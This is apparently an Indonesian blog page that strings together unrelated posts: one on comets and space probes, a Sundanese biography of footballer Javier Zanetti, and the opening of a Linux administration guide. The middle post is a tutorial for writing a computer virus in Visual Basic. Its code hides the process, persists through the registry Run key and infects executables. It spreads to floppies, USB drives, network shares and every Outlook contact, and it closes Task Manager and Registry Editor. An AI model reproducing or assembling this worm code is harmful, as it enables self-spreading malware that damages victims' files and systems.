Para ilmuwan berspekulasi bahwa tabrakan antara komet dan planet dapat terjadi sewaktu-waktu. Diduga beberapa tumbukan antara Bumi dengan komet yang pernah terjadi beberapa juta tahun lampau menghasilkan lapisan debu yang sangat  tebal yang menutupi atmosfir bumi hingga menyebabkan punahnya beberapa spesies hewan purba. Tabrakan dengan komet juga diperkirakan merupakan penyebab dari sebuah ledakan dahsyat yang pernah terjadi di bulan Juni 1908 di daerah Tunguska, Rusia. Di lain pihak, ada juga ilmuwan yang mempercayai bahwa Bumi secara konstan telah dibombardir oleh komet yang berukuran kira-kira sebesar rumah tanpa menyebabkan kerusakan. Tabrakan ini diduga berpengaruh terhadap persediaan air dan adanya beberapa unsur kimia di Bumi.

Salah satu peristiwa tabrakan komet dengan planet yang terkenal terjadi pada tanggal 16-22 Juli 1994. Saat itu setidaknya 20 pecahan besar dari komet Shoemaker-Levy 9 menumbuk permukaan planet Jupiter dengan kecepatan 60 km/dt, menimbulkan awan panas setinggi ribuan km diatas permukaan planet tersebut. Peristiwa itu meninggalkan gelembung panas yang terdiri atas gas yang berasal dari atmosfer Jupiter. Bekas yang ditinggalkannya berupa sebuah area besar yang gelap di atmosfir planet tersebut bertahan hingga beberapa bulan setelah peristiwa tersebut berlalu. Pecahan komet Shoemaker-Levy 9 menghantam Jupiter pada posisi lintang 45° dan posisi bujur 6.5° di permukaan bagian luar planet raksasa tersebut. Pecahan terbesar dari komet yang menumbuk Jupiter diperkirakan berdiameter sekitar 2 km. Para astronom mengamati peristiwa ini dari Bumi melalui gambar-gambar yang dikirim oleh teleskop antariksa Hubble dan wahana antariksa Galileo.



PENYELIDIKAN TERHADAP KOMET


Dewasa ini, pengamatan terhadap komet dapat dilakukan melalui teleskop visual maupun teleskop fotografi yang dapat mengambil gambar pada area yang luas di angkasa. Sekitar sepuluh komet baru ditemukan tiap tahunnya, dan rata-rata dalam tiga tahun terdapat satu komet yang dapat diamati dengan mata telanjang.

Selain pengamatan melalui teleskop, para astronom juga memanfaatkan wahana antariksa untuk melakukan penelitian terhadap komet. Komet Giacobioni Zinner tercatat sebagai komet pertama yang diselidiki dari jarak dekat oleh wahana antariksa ketika pada tanggal 11 September 1985 wahana International Cometary Explorer (ICE) melintasi ekor plasma komet tersebut.

Komet Halley termasuk komet yang paling banyak diselidiki oleh wahana antariksa. Saat komet tersebut melintas didekat orbit bumi pada sekitar tahun 1985-86 tercatat wahana Vega 1 & 2 (Uni Sovyet--sekarang Rusia), Sakigake (Jepang), Suisei (Jepang) dan Giotto (Uni Eropa) melintasi komet tersebut untuk melakukan beberapa penyelidikan.

Terkadang komet juga diselidiki oleh wahana yang semula bukan dirancang untuk kepentingan tersebut. Pada bulan Maret 1996, wahana antariksa NEAR (Near Earth Asteroid Rendezvous) berhasil mengambil gambar komet Hyakutake dalam perjalanannya menuju asteroid 433 Eros. Sementara itu pada tanggal 22 September 2001, wahana Deep Space 1--yang sebenarnya hanya merupakan sebuah wahana eksperimen yang telah habis masa tugasnya--berhasil diarahkan untuk melintas dalam jarak hanya 2.200 km dari inti komet Borrelly. Para ilmuwan berharap wahana ini dapat mengirimkan informasi mengenai sifat-sifat permukaan inti komet, mengidentifikasi gas yang terkandung didalamnya, dan mengukur interaksi angin Matahari dengan komet.

Misi penelitian lain yang sedang berjalan adalah misi wahana Stardust yang telah diluncurkan pada bulan Februari 1999. Wahana ini direncanakan untuk bertemu dengan komet P/Wild 2 pada bulan Januari 2004 untuk melakukan penelitian terhadap objek tersebut serta mengumpulkan material debu komet untuk dikembalikan ke bumi guna dianalisis pada bulan Januari 2006.

Sementara itu misi Rosetta yang direncanakan akan diluncurkan pada bulan Januari 2003 dikirimkan untuk mengorbit komet 46 P/Wirtanen dan meluncurkan dua modul pendarat pada permukaan komet tersebut.




Sekian postingan kali ini.. semoga bermanfaat.
Sumber : Forum 

Wassalamu'alaikum Wr.W.b

Teknik Pembuatan Virus Komputer Sederhana



Assalamu'alaikum Wr.Wb.


Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri  dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. [Wikipedia].


Syarat sebuah virus computer :

  1. Menyembunyikan prosesnya dari pemakai
  2. Mengaktifkan dirinya setiap startup sistem
  3. Menyebarkan dirinya melalui media file executable
  4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
  5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
  6. Menyebarkan dirinya dengan filename spoofing.
  7. Mempercepat proses penyebarannya dengan pendekatan social engineering
  8. Berusaha mempertahankan existensi dirinya


Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.


Menyembunyikan prosesnya dari pemakai


Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False


Mengaktifkan dirinya setiap startup sistem


Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing

Menyebarkan dirinya melalui media file executable


Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
   If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
      'Ambil nomor file
      fNum = FreeFile
      Open fname For Binary Access Read As fNum 'Buka file target
      Seek fNum, LOF(fNum) - 5 + 1         'pindah file pointer ke posisi Signature Virus
      tSignature = Space$(5)
      Get fNum, , tSignature                        'baca tSignature
      Close fNum
      If tSignature <> virSignature Then     'jika file virus (tidak ada virSignature)
         On Error GoTo finally
            Open fname For Binary Access Read Write As fNum 'Buka file target
            OriginalCode = Space$(LOF(fNum))
            Get fNum, , OriginalCode            'baca Program Executable
            Put fNum, 1, virCode                   'tulis Program Virus diawal
            Put fNum, , OriginalCode            'tulis Program Executable
            Put fNum, , virSize                      'tulis Ukuran Virus
            Put fNum, , virSignature             'tulis Signature Virus
            Close fNum
finally:
      End If
   End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1                 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature                        'baca virSignature

If tSignature <> virSignature Then   'Jika file virus sendiri
   virSize = LOF(1)                            'ukuran virSize sama dengan ukuran file
   virCode = Space$(virSize)             'siapkan buffer virCode
   Seek #1, 1                                       'ke posisi bof
   Get #1, , virCode                            'baca virCode sebesar ukuran virSize
   Close #1
 
   Call VirInstall                                 'instalasi virus
 
   If Not SudahLoad Then
      Load ff                                         'aktifkan timer virus
   End If
 
'Jika file yang terinfeksi
Else
   Seek #1, LOF(1) - 9 + 1                 'pindah file pointer ke posisi virSize
   Get #1, , virSize                             'baca virSize (long = 4 byte)
   'Baca vircode
   virCode = Space$(virSize)            
   Seek #1, 1                                       'ke posisi BOF (Awal file)
   Get #1, , virCode                            'baca virCode sebesar ukuran virSize
 
   OriginalCode = Space$(LOF(1) - virSize)            'siapkan buffer
   Get #1, , OriginalCode                                           'baca originalCode
 
   fNum = 0
   Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
      fNum = fNum + 1
   Loop
 
   fname = exePath & App.EXEName & fNum & ".exe"

   On Error GoTo finally
      Open fname For Binary Access Write As #2
      Put #2, , OriginalCode                                      'tulis ke file sementara
      Close #2                                                            'tutup file sementara
finally:

   Close #1
 
   Call VirInstall
 
   If Not SudahLoad Then
      Load ff                                          'aktifkan timer virus
   End If

   Call ExecuteOriginal(fname)
   Kill fname                                        'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus)                 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit                     'ambil status aktif
Do While HExit = STILL_ACTIVE                   'proses ditahan selama proses masih aktif
   DoEvents                                                          'lakukan event yang lain
   GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
'

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi


Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
   Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
    'Asumsi semua removable drive diatas huruf C adalah flash disk
    '1 - Removable drive
    '2 - Fixed drive (hard disk)
    '3 - Mapped network drive
    '4 - CD-ROM drive
    '5 - RAM disk
    If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
       Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
    End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
   For Each share In shares
       target = share
       Call InfeksiResource(target, "XLSDOCEXE")
   Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
   For Each Domain In Domains
       If Not stackDomain.isFull Then
          stackDomain.Push (Domain)
       End If
   Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
   Domain = stackDomain.Pop()
   If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
      For Each Computer In Computers
          If Not stackComputer.isFull Then
             stackComputer.Push (Computer)
          End If
      Next Computer
   End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
   Computer = stackComputer.Pop()
   If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
      For Each Drive In Drives
          If Not stackDrive.isFull Then
             stackDrive.Push (Drive)
          End If
      Next Drive
   End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
   target = stackDrive.Pop()
   Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub

Melakukan penyebaran melalui fasilitas email :


Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
   Set Mapi = Outlook.GetNamespace("MAPI")
     
   For i = 1 To Mapi.AddressLists.Count
       Set AddressBook = Mapi.AddressLists(i)
       For j = 1 To AddressBook.AddressEntries.Count
           MailAddress = AddressBook.AddressEntries(j)
       
           Set Mail = Outlook.CreateItem(0)
 
           Mail.Recipients.Add (MailAddress)
           Mail.Subject = "Subject Virus Anda"
           Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
           Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
           Mail.Send
       Next
   Next

finally:
   Set Outlook = Nothing
   Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.


Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.


Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
    Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
   CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API  Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE
   dwScope As Long
   dwType As Long
   dwDisplayType As Long
   dwUsage As Long
   lpLocalName As Long
   lpRemoteName As Long
   lpComment As Long
   lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
   (ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
   lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
   (ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
   (ByVal lpString1 As String, ByVal pString As Long) As Long
 
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
   Dim hEnum As Long, nrLen As Long, nrCount As Long
   Dim nr(2048) As NETRESOURCE, retval As Boolean
   nrCount = -1
   nrLen = 65536
   RemoteName = StrConv(RemoteName, vbFromUnicode)
   nr(0).lpRemoteName = StrPtr(RemoteName)
   Provider = StrConv(Provider, vbFromUnicode)
   nr(0).lpProvider = StrPtr(Provider)
   nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
   nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
   If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
      If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
         If nrCount > 0 Then
            ReDim sShares(nrCount - 1) As String
            For nrLen = 0 To (nrCount - 1)
               sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
               Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
            Next nrLen
            retval = True
         End If
      End If
      Call WNetCloseEnum(hEnum)
   End If
   GetShares = retval
End Function

Lampiran B

‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer       '0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then    ‘jangan overlapping proses
   SedangInfeksi = True
   If Aktifitas = 0 Then
      Call InfeksiMySharing
   ElseIf Aktifitas = 1 Then
      Call AmbilDomain
   ElseIf Aktifitas = 2 Then
      Call AmbilComputer
   ElseIf Aktifitas = 3 Then
      Call AmbilDrive
   ElseIf Aktifitas = 4 Then
      Call InfeksiNetworkDrive
   ElseIf Aktifitas = 5 Then
      Call InfeksiFloppy
   ElseIf Aktifitas = 6 Then
      'Call InfeksiFlashDisk
   ElseIf Aktifitas = 7 Then
      Call InfeksiMySharing
   ElseIf Aktifitas = 8 Then
      If Not SpreadEmail Then
         Call SpreadEmailOutlook
         SpreadEmail = True
      End If
      Aktifitas = 1
   End If
   Aktifitas = (Aktifitas + 1)
   SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub



Sekian postingan kali ini.. Semoga bermanfaat.
Jangan disalah gunakan..
Sumber : Forum internet

Wassalamu'alaikum Wr.Wb.

Tuesday, 20 January 2015

Biografi Bahasa Sunda Javier Zanetti



Assalamu'alaikum Wr.Wb.


BIOGRAFI JAVIER ZANETTI


Javier Zanetti wedal di Buenos Aires sarta digedean di wewengkon palabuhan distrik Dock Sud. Sosok murangkalih anu ngabogaan tekad anu ageung. Manehna berkomitmen kanggo ngudag atikan sarta didamel sakaligus,ngabantuan bapana anu kuli wangunan,barobah kaayaan aya nu ngirim pinareup,sarta didamel di toko kelontong kaduh misan na tanpa teu malire sumanget kanggo ulin sepak bola. Anjeunna mimiti ulin sepak bola di hiji lapang pinggiran dayeuh,dina ngeusian wanci lowong na.

Zanetti nyaeta saurang Katolik anu taat,anu oge mengispirasi rencang setimnya di Inter Milan sarta Pamaen timnas Belanda Wesley Sneijder kanggo barobah kaayaan saurang Katolik.
Zanetti ngabogaan raka,Sergio Zanetti anu oge tilas pamaen tahan sepak bola,ayeuna manehna nyekel kalungguhan palatih tim primavera Inter Milan U-18. 

Dina warsih 1992,sabot umurna salapan belas,manehna patepang denga Paula de la Fuente,anu tujuh warsih saterusna barobah kaayaan pamajikan na. Dina ping 23 Desember 1999,Javier Zanetti sarta Paula nikah di Argentina. Maranehanana cicing di caket Danau Como , di manten Maranehanana ngabogaan restoran kalawan wasta " El Gaucho " . ayeuna,Paula Zanetti,anu saurang putri ti saurang dosen,didamel minangka fotografer. Dina ping 11 Juni 2005,anjeunna Ngababarkeun saurang inji,namina Sol,sarta saterusna nyondong saurang putra,Ignacio.

Wanci umurna 20 warsih,Zenetti ngalakukeun debutnya sareng Banfield dina ping 12 September 1993 di pertandingan kandang ngalawan River Plate. Anjeunna mencetak gawang kahijina 17 dinten saterusna ngalawan Newell ' s Old Boys dina pertandingan anu lekasan 1-1. Pintonan anu istimewa kanggo Banfield meunangkeun popularitas ti penggemar El Taladro sarta oge midamel na meunangkeun panggero ti tim nasional.

Zanetti,sok dipercaya minangka starting XI saprak Inter Milan dilatih ku Roy Hodgson dina warsih 1995. Anjeunna ngalakukeun debut kanggo Inter Milan dina 27 Agustus 1995 ngalawan Vicenza di Milan. Salila kantun kalawan klub,anjeunna atos meunang 16 piala,15 di antarana aya handap kapten nya: Piala UEFA dina warsih 1998 (mencetak gawang kadua di final kalawan tembakan ti jabi kotak penalti),Coppa Italia 2005,2006 sarta 2010,Piala Super Italia 2005,2006,2008 sarta 2010,Scudetto 2005-2006,2006-2007,2007-2008,2008-2009 sarta 2009-2010,Liga Champions 2009-10 sarta Piala Dunya Antarklub 2010. Dina warsih 2010,Zanetti barobah kaayaan kapten klub Italia kahiji anu ngahontal treble kalawan memjuarai Scudetto,Coppa Italia sarta Liga Champions.

Zanetti debutnya kanggo Argentina dina 16 Nopember 1994 ngalawan Chili handap palatih Daniel Passarella. Anjeunna atos ngawakilan nagarana dina Piala Dunya warsih 1998 dan2002. Anjeunna oge haturan ti tim anu meunang medali perak di Olimpiade 1996 Atlanta,Amerika Sarikat. Gelar anu beunang sapanjang karier sepak bola ;

  • Liga Italia: 5 (2006, 2007, 2008, 2009 dan 2010)
  • Piala Italia: 4 (2005,2006,2010,sarta 2011) 
  • Piala Super Italia: 4 (2005,2006,2008,sarta 2010) 
  • Liga Champions: 1 (2010) 
  • Liga Eropa: 1 (1998) 
  • Piala Dunya Antarklub: 1 (2010) 
  • Medali emas Pan American Games 1995 
  • Medali perak Olimpiade Atlanta 1996 
  • Finalis Copa América 2004 sarta 2007 
  • FIFA 100 


Wasta Pepek : Javier Adelmar Zanetti
Tempat Wedal : Buenos Aires,Argentina
Ping Wedal : 10 Agustus 1973
Kabangsaan : Argentina
Posisi : Bek , Gelandang Keur,Jangjang Kanan/Kiri



Sekian postingan kali ini.. Semoga bermanfaat.
Sumber : Google

Wassalamu'alaikum Wr.Wb.

Administrasi System Dalam System Operasi Linux



Assalamu'alaikum Wr.Wb.


Apa itu Administrasi Sistem? 

Sebuah sistem komputer tidak akan dapat bekerja dengan baik jika salah satu dari ketiga komponen ini dihilangkan: hardware, software, brainware. Hardware adalah bagian komputer yang ada secara fisik. Software adalah kode-kode instruksi yang dijalankan pada hardware yang bersangkutan. Sedangkan brainware adalah manusia yang bertugas untuk mengoperasikan sistem komputer. Administrasi sistem adalah aspek yang berkaitan erat pada faktor brainware tersebut.Seorang sysadmin bertugas untuk menjaga agar sebuah sistem dapat tetap berjalan sesuai dengan fungsinya. Jika ada masalah pada sistem tersebut, dia berkewajiban untuk memperbaikinya. Setiap sistem komputer membutuhkan sysadmin, mulai dari komputer pribadi sampai ke mainframe berukuran besar. Semuanya tetap membutuhkan sysadmin. Jika anda adalah satu-satunya pengguna di komputer anda, anda adalah sysadmin bagi komputer anda sendiri. Anda semua adalah seorang sysadmin mungkin tanpa kesadaran anda sendiri.

Linux memiliki beragam fasilitas untuk mengotomatisasi seluruh kegiatannya. Hal ini tentunya sangat memudahkan seorang administrator. Administrator tidak perlu melakukan pekerjaan yang berulang-ulang secara manual, pekerjaan yang demikian dapat diserahkan kepada sistem Linux. Dengan perintah yang tepat, sistem akan dapat melakukan tugasnya tanpa perlu diperintah ulang.


Konsep User dan Permission 

Linux adalah sistem operasi multiuser. Artinya, sebuah sistem Linux dapat dipakai oleh lebih dari satu orang sekaligus. Seorang pengguna Linux memiliki sebuah direktori pribadi (home directory) untuk menyimpan file-filenya. Umumnya ia tidak diperkenankan untuk memodifikasi isi direktori selain home directory-nya. Pada kebanyakan sistem Linux, home directory user abc biasanya diletakkan di /home/abc. Pada Linux, setiap file dimiliki oleh seorang user dan sebuah group. Hak akses baca, tulis, dan execute untuk user dan group juga dapat dibatasi. Hal ini akan mempermudah administrasi sistem karena user tidak akan dapat mengubah konfigurasi sistem seenaknya, berbeda dengan sistem operasi yang tidak didesain sebagai sistem operasi multiuser seperti halnya Windows.Pada Linux (dan sistem UNIX lainnya) ada sebuah account yang memiliki hak mutlak pada sistem tersebut, account tersebut secara tradisional disebut 'root'. Account ini bisa melakukan apa saja pada Linux tanpa mempedulikan hak akses. Account ini umumnya hanya digunakan untuk keperluan administrasi, dan tidak digunakan untuk keperluan sehari-hari. Mengapa account root tidak baik digunakan untuk keperluan sehari-hari? Program pada sebuah sistem operasi (Linux ataupun bukan Linux) mungkin memiliki bug atau kesalahan pemrograman.

Dengan menjalankan program sebagai root, bug tersebut memiliki kemungkinan untuk dapat merusak seluruh sistem. Sedangkan jika program tersebut tidak dijalankan sebagai root, maka kerusakan hanya akan terjadi pada file milik user yang bersangkutan. Selain itu manusia adalah makhluk yang suka melakukan kesalahan, dengan account root, kesalahan tersebut akan dapat merusak sistem, sedangkan jika dilakukan oleh user biasa, kesalahan tersebut hanya akan berakibat fatal pada file yang dimiliki oleh user yang bersangkutan. Itulah sebabnya mengapa virus software hampir tidak pernah menjangkiti Linux, karena para penggunanya hanya menggunakan account 'root' untuk hal-hal yang benar-benar memerlukan 'root'. Sebaliknya, pada sistem operasi single user seperti DOS, Windows atau MacOS, setiap user adalah 'root', dapat anda bayangkan kekacauan yang terjadi pada masa itu jika sistem operasi tersebut digunakan oleh beberapa orang.


Struktur Direktori dari Linux 

Sebuah filesystem pada Linux dibagi menjadi banyak direktori. Hal ini akan memudahkan sysadmin karena file yang anda cari akan berada di dalam direktori sesuai dengan fungsi dan kegunaannya.Berikut ini adalah beberapa lokasi direktori yang penting untuk diketahui oleh seorang sysadmin:

/bin: berisi program yang esensial, yang berguna jika partisi /usr tidak terhubungkan
/boot: berisi file-file yang penting untuk booting Linux, seperti halnya kernel Linux
/usr: berisi file-file program dan data yang diperlukan untuk menjalankan program yang
bersangkutan, file di dalam hirarki ini dapat dibuat menjadi read-only
/var: berisi file-file yang dinamik seperti email, file log dan sebagainya.
/etc: berisi file konfigurasi dari program
/mnt: berisi mount point dari partisi lainnya di sistem komputer anda, pada Linux Mandrake
misalnya, /mnt/DOS_hda1 adalah isi drive C: pada sistem operasi DOS/Windows
/dev: berisi device, seperti /dev/ttyS0 adalah port serial pada komputer anda, atau /dev/fd0
adalah floppy disk.
/home: berisi home direktori dari user pada sistem anda
/sbin: berisi program-program yang esensial untuk sysadmin
/root: adalah home directory dari user 'root', tidak disimpan di bawah direktori /home
karena kemungkinan direktori tersebut belum di-mount.


Memonitor Keadaan Sistem 

